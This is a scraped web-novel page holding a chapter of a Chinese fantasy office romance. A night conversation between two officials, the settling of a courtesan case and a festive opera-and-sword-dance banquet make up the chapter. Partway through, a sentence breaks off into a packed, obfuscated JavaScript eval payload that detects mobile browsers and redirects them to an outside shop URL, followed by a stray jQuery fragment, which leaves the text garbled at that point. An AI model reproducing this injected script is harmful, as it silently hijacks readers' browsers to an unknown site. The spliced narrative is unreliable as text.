文趣网 > 都市小说 > 攻略对象是同僚 > 11. 吞声【五】胡不喜
    崔湘之神神秘秘再不肯多言,气得木脱直抖落身上的叶子。

    他摆摆手道:“我先去寻大人了,你且在这待着吧,等大人明日唤你。”

    见人影渐远,木脱方滚落角落,闷声闷气装作一根普通木头待着。

    郑昭抄罢卷宗,若还还在絮絮说道:“宿主大人…您方才说的什么意思啊…”

    她正要开口解释,听闻脚步声,忽而“嘘”声道:“有人来了。”

    说完才反应过来,别人听不见若还的声音,只觉今晚是抄卷宗抄糊涂了。

    崔湘之抬手敲门道:“大人…可空否?”

    郑昭与若还惊疑想着:“这人怎么大半夜去而复返?”

    若还只当他来是个好时机,催促郑昭尽快开始任务。郑昭只内心暗道“不急”。

    她开口道:“进罢。”

    崔湘之推门而入,并未掩门,只站在门口望着她。

    郑昭见来人并未开口,抬头望向他,只见他眼底幽幽,似窗外满月。

    “何事?”

    崔湘之正欲开口,见她眉中似有倦意,右手旁累着几叠卷宗,脸色依旧苍白,心中那一番话云卷云舒,扭捏道:“我……夜已深了,大人……明日再看吧。”

    郑昭:“……?”

    “你深夜前来,就是跟我说这个的?”

    崔湘之正哑口无言,没想到她接着道:“我以为你想对我说,你方才为何生气的缘故?”

    崔湘之“噌”一下耳朵涨红,嗫喏道:“……我方才…”,见郑昭不解看向他,他道:“我见大人面色苍白,料想身体是否不适,但大人似不甚在意,故而……”

    郑昭眨眨眼,恍然。

    脑内小人叽叽喳喳,她几乎想抬手挥散。

    随后她不自然咳道:“你瞧我做甚……”

    崔湘之故意吊了一吊:“那当然是我心……”

    见郑昭看来,他话头一转,语速极快说道,“心中挂念大人安危若是大人生了病我岂不罪有应得。”

    郑昭定定看着他,直把他看得心虚发毛。

    “大人又为何这样瞧我,小人说错了什么……”

    郑昭一笑道:“你瞧我,就不许我瞧你?我也瞧你脸色如莲艳,岂不是酒酣上头?”

    崔湘之被反将一军,急忙驳道:“我没有喝酒!”

    他嘟嘟囔囔道:“小人……不会喝酒。”

    郑昭逗完了人,心情颇好道:“罢了,不逗你了,我并无身体不适,我自去歇息了,你也回去歇息,明日还要接各位娘子前来。”

    崔湘之见她松口去歇息,松口气放下心道:“大人安歇。”

    他起身往外走去,蓦然回头,正与郑昭对上目光,二人相看无声,俱偏头而去,一个伏案,一个仓皇。

    伏案良久,郑昭起身,笑语嫣嫣,脑中那小人叽里咕噜说了一通,她便敛目收笑,扬长而去。

    那崔湘之藏于廊角,见郑昭离开后,也欣然而去。

    槐夏十四。

    那蝉鬓娘在众人围拥下往天问司来,终开其口,前因后果俱交代一清二楚,惹得那些娘子,相拥哭泣的相拥,温言安慰的安慰。

    木脱被留于天问司“戴罪立功”,众人皆惊惧对于蝉鬓娘的处罚,欲开口求情,但雪鬓娘挥手拦下,虽不忍,但终未开口,只殷殷望着郑昭。

    郑昭前晚查阅律法,只道几人不必担忧,她虽触犯律法,但并无敛财,且基于那几人先恶意制造事端,有几人口供笔录为先。

    虽不至刑,但也并非无罪,只消判处罚金即可。

    众人闻言皆松口气,各人褪了腕上的下品灵石镯,置于桌上。

    郑昭微愣,笑道:“各位娘子可别放置在这,自有专门官吏负责此事,自右手直走便是,我可不受贿。”

    众人笑道:“大人何不早说,险些又添一罪名。”说罢,那脚步快的一把抱起那堆镯子飞奔而去,叮叮当当地响了一路。

    那人是谁,原道是那彤鬓娘。

    崔湘之本看着窗外,忽然背后受一目光,郑昭向他使了个眼色,崔湘之无奈,随着那彤鬓娘一路而去。

    众人笑完,忽而想到什么,讪讪道:“那几人怎么办……若是之后……”

    “之后不会再来了,待这几人处罚过后,我已上报玄霄宫,日后自有那玄城司的人,派人手在附近巡视,尽可告之于他们,他们若不受理,便告知我,我亲自来一趟。”

    众人皆惊崇望着她。

    说道这郑昭仅六品主簿,为何敢如此放话?

    原来道,郑昭昨夜细细斟酌字句,递与司正,就是那黄鹤司正牡含章。

    牡含章本无意理会,又是一番于他人干涉交谈之事,最近怎的总要社交于他人,却望之一熟悉名字。

    “雪鬓娘”

    遂同意传信于玄霄宫。

    原来这二人自君上夺位之时相熟,一人于官场上助君上,一人于暗地为其通信传语,自此相熟。

    君上登位后,雪鬓娘无意官场晋升,便留于十里楼,庇护那些个娘子们,牡含章自然做了这天问司的司正。

    只是雪鬓娘从不与她讲述艰辛,牡含章也尊重于她,不多加干涉,加之牡含章久居高楼不问世事,故而牡含章并不知晓老友如此处境。

    听郑昭讲述经过,冲鬓一怒,直直一道飞贴甩向君上案头。君上如常处理政务,刚启灵信,险些被她骂个狗血淋头。

    牡含章先是一番流涕,感慨自身,又是一番感恩,回忆往昔,最后直直憋不住火,话脱开了匣子一般,说那些人一个两个欺上瞒下,拿着俸禄不干事,由得底下人欺负当朝娘子们。

    最后幽幽不经意来了一句,想必是不尊天君不尊君上之人,或许是前朝余孽也未可知。

    这一示弱,二捧三杀的,君上想不处置都不行,今早就问责玄城司,为何不管?

    玄城司战战兢兢,只饶个不停,不敢再辨。

    这一番处置众人皆道解气,说罢便要商议,这十里楼摆脱了些晦气,要热热闹闹地开一场“十里笙歌”。

    槐夏十五,夜。

    郑昭与崔湘之脱了那官服,换上常服来赴宴。

    一个身着杏黄衣衫,一个身着缃色裙裾。

    为何道是这样穿着?

    原来这“十里笙歌”不拘宾客罗衣轻裾,定要灼灼其华,艳艳其色才好!

    众人来到怀土楼,这怀土楼无论戏楼戏台,皆四下空空,戏台旋绕

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943996|214022||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    戏楼间,故无论楼上台下皆可观赏到四周之景。

    在怀土楼四方,分别是那“参天楼半寸台”、“别意楼长亭台”、“九霄楼清浅台”、“火树楼银花台”,以及它自身的“凭轩台”。

    郑昭喃喃道,这些个名字还真对了这各楼的方位。

    锣鼓敲罢,好戏开场。

    那四楼四台同时出现十二位娘子,且看来,是一番荣曜秋菊,华茂春松之景。

    参天半楼,朱砂石青,翡翠碧玉,桃红绿柳。

    别意长亭,藤黄桑叶,绛紫胭脂,银红白雪。

    九霄清浅,石榴霞金,莲红荷绿,孔雀珠白。

    火树银花,朱红彤金,橙黄橘绿,青绿茶白。

    檀板轻敲,珠喉婉转。

    水袖轻扬,莲步慢移。

    一人先亮于台前,原来正是那蝉鬓娘。

    她一身莲红荷绿,头戴一顶渔婆罩,饰莲花形水钻顶花,额前七星泡子,鬓边点翠蝉形簪,耳边两垂小绒球。

    原来演的是那采莲女,唱的是那《采莲曲》。

    她一声唱罢:“奴家蝉鬓娘,采莲去也——”。

    散板起,蝉簪颤,风微荷气碧涟涟。

    慢板承,云步飘,下腰采罢并头莲。

    中板转,翻袖圆,若问奴家何所愿?

    尾声合,还回眸,年年夏至照家见。

    唱罢,背身离场,罗裙不见,人影不显,余音犹绕众耳间。

    一声喝彩,满堂皆惊,鸦飞鹊喙。

    郑昭眼见此景,只觉心中震撼,欢笑鼓掌朗声道:“蝉鬓娘清歌一曲,如行云流水!这这嗓子,如昆仑雪化为秦淮水!这高音,如细绢帛轻裹!这低音,如瓣落深潭!”

    众人皆附议喝采。

    郑昭此刻动人,不料崔湘之望见她眼怔怔。

    他从未见过她如此鲜活灵动。

    但思之望之,欢喜不已,故也与她一同笑道:“正是!”

    二人俱笑着。

    蝉鬓娘开场唱罢,本是众人各有节目,只待一刻。

    郑昭无事,一时兴起,攥着崔湘之的手往下奔去,崔湘之愣愣被她拽至那凭轩台。

    郑昭道:“我有一舞!不知各位想看否?”

    崔湘之顿时心生退堂鼓,忙道:“大人岂是叫我来舞,我并不……”

    郑昭对他灿然笑道:“非你舞,而是我舞。”

    众人皆笑应起来。

    说罢,郑昭站于崔湘之前,从储物袖中取出那剑。

    “我有一剑,名唤‘若往’,我有一舞,名唤……”

    她望向崔湘之。

    “洛神。”

    崔湘之只觉心怦怦,耳咬咬。

    他望着面前之人起剑舞,众人皆在她外,而他在她面前。

    剑出鞘,他心忐忐。剑翻飞,他心颤颤。

    剑游龙,他心漾漾。剑惊鸿,他心安安。

    剑收势,他心……缠缠。

    既见君子,我心缠缠。

    ……

    若还在郑昭脑海中噼里啪啦叫了起来,犹如痴迷狂人一般。

    【宿主大人!你太厉害了!!】

    【现在好感度已经二十五了!!】